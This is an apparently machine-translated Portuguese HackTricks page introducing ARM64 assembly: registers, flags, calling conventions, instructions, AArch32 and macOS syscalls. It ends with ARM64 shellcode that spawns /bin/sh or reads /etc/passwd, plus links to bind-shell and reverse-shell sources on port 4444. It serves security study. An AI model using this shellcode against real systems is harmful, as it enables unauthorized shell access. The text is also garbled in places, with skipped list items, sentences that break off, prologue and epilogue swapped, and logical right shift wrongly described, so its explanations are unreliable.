<summary><strong>Aprenda hacking AWS do zero ao herói com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
Na arquitetura ARMv8, os níveis de execução, conhecidos como Níveis de Exceção (ELs), definem o nível de privilégio e as capacidades do ambiente de execução. Existem quatro níveis de exceção, variando de EL0 a EL3, cada um servindo a um propósito diferente:
* EL1 tem mais privilégios do que EL0 e pode acessar recursos do sistema, mas com algumas restrições para garantir a integridade do sistema.
3.**EL2 - Modo Hypervisor**:
* Este nível é usado para virtualização. Um hipervisor em execução em EL2 pode gerenciar vários sistemas operacionais (cada um em seu próprio EL1) em execução no mesmo hardware físico.
O uso desses níveis permite gerenciar de forma estruturada e segura diferentes aspectos do sistema, desde aplicativos de usuário até o software do sistema mais privilegiado. A abordagem da ARMv8 aos níveis de privilégio ajuda a isolar efetivamente diferentes componentes do sistema, aumentando assim a segurança e robustez do sistema.
ARM64 possui **31 registradores de propósito geral**, rotulados de `x0` a `x30`. Cada um pode armazenar um valor de **64 bits** (8 bytes). Para operações que requerem apenas valores de 32 bits, os mesmos registradores podem ser acessados em um modo de 32 bits usando os nomes w0 a w30.
4.**`x16`** e **`x17`** - **Registradores de Chamada Intra-procedural**. Registradores temporários para valores imediatos. Também são usados para chamadas de função indiretas e stubs PLT (Procedure Linkage Table).
5.**`x18`** - **Registrador de Plataforma**. Pode ser usado como um registrador de propósito geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para bloco de ambiente de thread atual no Windows, ou para apontar para a estrutura de tarefa atualmente **em execução no kernel Linux**.
6.**`x19`** a **`x28`** - Estes são registradores salvos pelo chamador. Uma função deve preservar os valores desses registradores para seu chamador, então eles são armazenados na pilha e recuperados antes de retornar ao chamador.
7.**`x29`** - **Ponteiro de Frame** para acompanhar o quadro da pilha. Quando um novo quadro de pilha é criado porque uma função é chamada, o registrador **`x29`** é **armazenado na pilha** e o endereço do **novo** ponteiro de quadro (endereço **`sp`**) é **armazenado neste registro**.
* Este registrador também pode ser usado como um **registrador de propósito geral** embora seja geralmente usado como referência para **variáveis locais**.
8.**`x30`** ou **`lr`**- **Registrador de Link**. Ele mantém o **endereço de retorno** quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada armazenando o valor de **`pc`** neste registrador.
* Ele também pode ser usado como qualquer outro registrador.
* Se a função atual for chamar uma nova função e, portanto, sobrescrever `lr`, ela o armazenará na pilha no início, este é o epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Armazenar `fp` e `lr`, gerar espaço e obter novo `fp`) e recuperá-lo no final, este é o prólogo (`ldp x29, x30, [sp], #48; ret` -> Recuperar `fp` e `lr` e retornar).
10.**`pc`** - **Contador de Programa**, que aponta para a próxima instrução. Este registrador só pode ser atualizado por meio de gerações de exceção, retornos de exceção e branches. As únicas instruções comuns que podem ler este registrador são instruções de branch com link (BL, BLR) para armazenar o endereço de **`pc`** em **`lr`** (Registrador de Link).
11.**`xzr`** - **Registrador Zero**. Também chamado de **`wzr`** em sua forma de registrador de **32** bits. Pode ser usado para obter facilmente o valor zero (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando os dados resultantes em lugar nenhum (em **`xzr`**).
Além disso, existem outros **32 registradores de comprimento de 128 bits** que podem ser usados em operações otimizadas de dados múltiplos de instrução única (SIMD) e para realizar aritmética de ponto flutuante. Eles são chamados de registradores Vn, embora também possam operar em **64** bits, **32** bits, **16** bits e **8** bits e então são chamados de **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
**Existem centenas de registos do sistema**, também chamados de registos de propósito especial (SPRs), que são usados para **monitorizar** e **controlar** o comportamento dos **processadores**.\
Os registos especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados durante engenharia reversa. O sufixo `EL0` indica a **exceção mínima** da qual o registo pode ser acedido (neste caso, EL0 é o nível de exceção (privilégio) regular com o qual os programas regulares são executados).\
Eles são frequentemente usados para armazenar o **endereço base da região de armazenamento local da thread** na memória. Normalmente, o primeiro é legível e gravável para programas em execução em EL0, mas o segundo pode ser lido em EL0 e gravado em EL1 (como kernel).
**PSTATE** contém vários componentes de processo serializados no registo especial **`SPSR_ELx`** visível para o sistema operativo, sendo X o **nível de permissão da exceção desencadeada** (isto permite recuperar o estado do processo quando a exceção termina).\
* A soma de dois números positivos resulta em um número negativo.
* A soma de dois números negativos resulta em um número positivo.
* Na subtração, quando um número negativo grande é subtraído de um número positivo menor (ou vice-versa), e o resultado não pode ser representado dentro da faixa do tamanho de bits fornecido.
* Obviamente, o processador não sabe se a operação é assinada ou não, então ele verificará C e V nas operações e indicará se ocorreu um transporte no caso de ser assinado ou não assinado.
Nem todas as instruções atualizam essas bandeiras. Algumas como **`CMP`** ou **`TST`** o fazem, e outras que têm um sufixo s como **`ADDS`** também o fazem.
* A bandeira atual de **largura do registo (`nRW`)**: Se a bandeira tiver o valor 0, o programa será executado no estado de execução AArch64 quando retomado.
* A bandeira de **passo único** (**`SS`**): Usada por depuradores para passo único definindo a bandeira SS como 1 dentro de **`SPSR_ELx`** através de uma exceção. O programa executará um passo e emitirá uma exceção de passo único.
* A bandeira de estado de exceção **ilegal** (**`IL`**): É usada para marcar quando um software privilegiado executa uma transferência de nível de exceção inválida, esta bandeira é definida como 1 e o processador desencadeia uma exceção de estado ilegal.
* As bandeiras **`DAIF`**: Estas bandeiras permitem a um programa privilegiado mascarar seletivamente certas exceções externas.
* Se **`A`** for 1, significa que serão desencadeadas **interrupções assíncronas**. O **`I`** configura para responder a **Pedidos de Interrupção de Hardware** externos (IRQs). e o F está relacionado com **Pedidos de Interrupção Rápida** (FIRs).
* As bandeiras de seleção de **ponteiro de pilha (`SPS`)**: Programas privilegiados em execução em EL1 e acima podem alternar entre usar seu próprio registo de ponteiro de pilha e o do modelo de utilizador (por exemplo, entre `SP_EL1` e `EL0`). Esta troca é realizada escrevendo no registo especial **`SPSel`**. Isso não pode ser feito a partir de EL0.
A convenção de chamada ARM64 especifica que os **primeiros oito parâmetros** de uma função são passados nos registos **`x0` a `x7`**. **Parâmetros adicionais** são passados na **pilha**. O **valor de retorno** é passado de volta no registo **`x0`**, ou também em **`x1`** se tiver 128 bits de comprimento. Os registos **`x19`** a **`x30`** e **`sp`** devem ser **preservados** entre chamadas de função.
Ao ler uma função em assembly, procure o **prólogo e epílogo** da função. O **prólogo** geralmente envolve **salvar o ponteiro de quadro (`x29`)**, **configurar** um **novo ponteiro de quadro** e **alocar espaço na pilha**. O **epílogo** geralmente envolve **restaurar o ponteiro de quadro salvo** e **retornar** da função.
Swift tem sua própria **convenção de chamada** que pode ser encontrada em [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, onde **`opcode`** é a **operação** a ser realizada (como `add`, `sub`, `mov`, etc.), **`dst`** é o **registo de destino** onde o resultado será armazenado, e **`src1`** e **`src2`** são os **registos de origem**. Valores imediatos também podem ser usados no lugar dos registos de origem.
* **`ldp`**: **Carregar Par de Registos**. Esta instrução **carrega dois registos** de **locais de memória consecutivos**. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor noutro registo.
* Exemplo: `ldp x0, x1, [x2]` — Isso carrega `x0` e `x1` das localizações de memória em `x2` e `x2 + 8`, respetivamente.
* **`stp`**: **Armazenar Par de Registos**. Esta instrução **armazena dois registos** em **locais de memória consecutivos**. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor noutro registo.
* Exemplo: `stp x0, x1, [sp]` — Isso armazena `x0` e `x1` nas localizações de memória em `sp` e `sp + 8`, respetivamente.
*`stp x0, x1, [sp, #16]!` — Isso armazena `x0` e `x1` nas localizações de memória em `sp+16` e `sp + 24`, respetivamente, e atualiza `sp` com `sp+16`.
* **`add`**: **Adicionar** os valores de dois registos e armazenar o resultado num registo.
* **Deslocamento lógico à esquerda**: Adiciona 0s do final movendo os outros bits para frente (multiplica n vezes por 2)
* **Deslocamento lógico à direita**: Adiciona 1s no início movendo os outros bits para trás (divide n vezes por 2 em não assinado)
* **Deslocamento aritmético à direita**: Como **`lsr`**, mas em vez de adicionar 0s se o bit mais significativo for 1, \*\*1s são adicionados (\*\*divide por n vezes 2 em assinado)
* **Rotação à direita com Extensão**: Como **`ror`**, mas com a flag de carry como o "bit mais significativo". Assim, a flag de carry é movida para o bit 31 e o bit removido para a flag de carry.
* **`bfm`**: **Movimento de Campo de Bits**, essas operações **copiam bits `0...n`** de um valor e os colocam em posições **`m..m+n`**. O **`#s`** especifica a posição do **bit mais à esquerda** e o **`#r`** a **quantidade de rotação à direita**.
* **`cmp`**: **Compara** dois registradores e define as flags de condição. É um **sinônimo de `subs`** definindo o registrador de destino como o registrador zero. Útil para saber se `m == n`.
* **`ccmp`**: Comparação condicional, é uma comparação que será realizada apenas se uma comparação anterior for verdadeira e definirá especificamente os bits nzcv.
*`cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 <x4,puleparafunc
* Isso ocorre porque **`ccmp`** será executado apenas se o **`cmp` anterior for um `NE`**, se não for, os bits `nzcv` serão definidos como 0 (o que não satisfará a comparação `blt`).
* Isso também pode ser usado como `ccmn` (igual, mas negativo, como `cmp` vs `cmn`).
* **`tst`**: Verifica se algum dos valores da comparação são ambos 1 (funciona como um ANDS sem armazenar o resultado em nenhum lugar). É útil para verificar um registro com um valor e verificar se algum dos bits do registro indicado no valor é 1.
* **`blr`**: **Ramificação** com Link para Registrador, usada para **chamar** uma **sub-rotina** onde o destino é **especificado** em um **registrador**. Armazena o endereço de retorno em `x30`. (Este é
* Exemplo: `b.eq label` — Se a instrução `cmp` anterior encontrou dois valores iguais, isso salta para `label`.
* **`b.ne`**: **Branch if Not Equal**. Esta instrução verifica as flags de condição (que foram definidas por uma instrução de comparação anterior) e, se os valores comparados não forem iguais, faz um salto para um rótulo ou endereço.
* Exemplo: Após uma instrução `cmp x0, x1`, `b.ne label` — Se os valores em `x0` e `x1` não forem iguais, isso salta para `label`.
* **`cbnz`**: **Comparar e Salto se Não Zero**. Esta instrução compara um registro com zero e, se não forem iguais, faz um salto para um rótulo ou endereço.
* Exemplo: `ldrsw x0, [x1]` — Isso carrega um valor de 32 bits assinado da localização de memória apontada por `x1`, estende-o para 64 bits e armazena em `x0`.
* **`svc`** : Fazer uma **chamada de sistema**. Significa "Chamada de Supervisor". Quando o processador executa esta instrução, ele **muda do modo usuário para o modo kernel** e salta para uma localização específica na memória onde o código de **manipulação de chamada de sistema do kernel** está localizado.
O Armv8-A suporta a execução de programas de 32 bits. **AArch32** pode ser executado em um dos **dois conjuntos de instruções**: **`A32`** e **`T32`** e pode alternar entre eles via **`interworking`**.\
Programas **privilegiados** de 64 bits podem agendar a **execução de programas de 32 bits** executando uma transferência de nível de exceção para o 32 bits de menor privilégio.\
Observe que a transição de 64 bits para 32 bits ocorre com uma redução do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o **bit 4 do** registro especial **`SPSR_ELx`** **para 1** quando o thread do processo `AArch32` está pronto para ser executado e o restante de `SPSR_ELx` armazena os programas **`AArch32`** CPSR. Em seguida, o processo privilegiado chama a instrução **`ERET`** para que o processador faça a transição para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR\*\*.\*\*
O **`interworking`** ocorre usando os bits J e T do CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Isso basicamente se traduz em configurar o **bit mais baixo para 1** para indicar que o conjunto de instruções é T32.\
Isso é configurado durante as **instruções de ramificação de interworking**, mas também pode ser configurado diretamente com outras instruções quando o PC é definido como o registro de destino. Exemplo:
Existem 16 registradores de 32 bits (r0-r15). De **r0 a r14** eles podem ser usados para **qualquer operação**, no entanto alguns deles são geralmente reservados:
Além disso, os registradores são copiados em **`registros bancários`**. Que são locais que armazenam os valores dos registradores permitindo realizar **trocas de contexto rápidas** no tratamento de exceções e operações privilegiadas para evitar a necessidade de salvar e restaurar manualmente os registradores toda vez.\
Isso é feito **salvando o estado do processador do `CPSR` para o `SPSR`** do modo do processador para o qual a exceção é direcionada. No retorno da exceção, o **`CPSR`** é restaurado a partir do **`SPSR`**.
No AArch32, o CPSR funciona de forma semelhante ao **`PSTATE`** no AArch64 e também é armazenado em **`SPSR_ELx`** quando uma exceção é tratada para restaurar posteriormente a execução:
- As flags **`N`**, **`Z`**, **`C`**, **`V`** (assim como no AArch64)
- A flag **`Q`**: É definida como 1 sempre que ocorre **saturação de inteiro** durante a execução de uma instrução aritmética de saturação especializada. Uma vez definida como **`1`**, ela manterá o valor até ser definida manualmente como 0. Além disso, não há nenhuma instrução que verifique seu valor implicitamente, deve ser feito lendo-o manualmente.
- Flags **`GE`** (Maior ou igual): É usada em operações SIMD (Single Instruction, Multiple Data), como "adição paralela" e "subtração paralela". Essas operações permitem processar vários pontos de dados em uma única instrução.
Por exemplo, a instrução **`UADD8`** **adiciona quatro pares de bytes** (de dois operandos de 32 bits) em paralelo e armazena os resultados em um registrador de 32 bits. Em seguida, **define as flags `GE` no `APSR`** com base nesses resultados. Cada flag GE corresponde a uma das adições de bytes, indicando se a adição para esse par de bytes **transbordou**.
- Registro de Estado de Bloco IT (`ITSTATE`): São os bits de 10 a 15 e 25 a 26. Eles armazenam condições para instruções dentro de um grupo prefixado por **`IT`**.
- Bits de Máscara de Modo e Exceção (0-4): Determinam o estado de execução atual. O quinto indica se o programa é executado como 32 bits (um 1) ou 64 bits (um 0). Os outros 4 representam o **modo de exceção atualmente em uso** (quando ocorre uma exceção e está sendo tratada). O conjunto de números **indica a prioridade atual** no caso de outra exceção ser acionada enquanto esta está sendo tratada.
- **`AIF`**: Certas exceções podem ser desativadas usando os bits **`A`**, `I`, `F`. Se **`A`** for 1, significa que **abortos assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção de Hardware Externas** (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs).
Confira [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). As chamadas de sistema BSD terão **x16 > 0**.
Confira em [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) a `mach_trap_table` e em [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) os protótipos. O número máximo de armadilhas Mach é `MACH_TRAP_TABLE_COUNT` = 128. As armadilhas Mach terão **x16 < 0**, então você precisa chamar os números da lista anterior com um **sinal de menos**: **`_kernelrpc_mach_vm_allocate_trap`** é **`-10`**.
Às vezes é mais fácil verificar o código **descompilado** de **`libsystem_kernel.dylib`** do que verificar o **código-fonte** porque o código de várias chamadas de sistema (BSD e Mach) é gerado por scripts (verifique os comentários no código-fonte) enquanto na dylib você pode encontrar o que está sendo chamado.
O XNU suporta outro tipo de chamadas chamadas dependentes da máquina. O número dessas chamadas depende da arquitetura e nem as chamadas nem os números são garantidos de permanecerem constantes.
Esta é uma página de memória do proprietário do kernel que é mapeada no espaço de endereço de todos os processos de usuários. Destina-se a tornar a transição do modo de usuário para o espaço do kernel mais rápida do que usar chamadas de sistema para serviços do kernel que são usados com tanta frequência que essa transição seria muito ineficiente.
Portanto, se você colocar um breakpoint antes do branch para esta função, você pode facilmente descobrir o que é invocado no lldb com (neste exemplo, o objeto chama um objeto de `NSConcreteTask` que executará um comando):
Definir a variável de ambiente `NSObjCMessageLoggingEnabled=1` torna possível registrar quando esta função é chamada em um arquivo como `/tmp/msgSends-pid`.
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
O objetivo é executar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, então o segundo argumento (x1) é um array de parâmetros (o que na memória significa uma pilha de endereços).
Shell de ligação em [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) na **porta 4444**
De [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell para **127.0.0.1:4444**
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.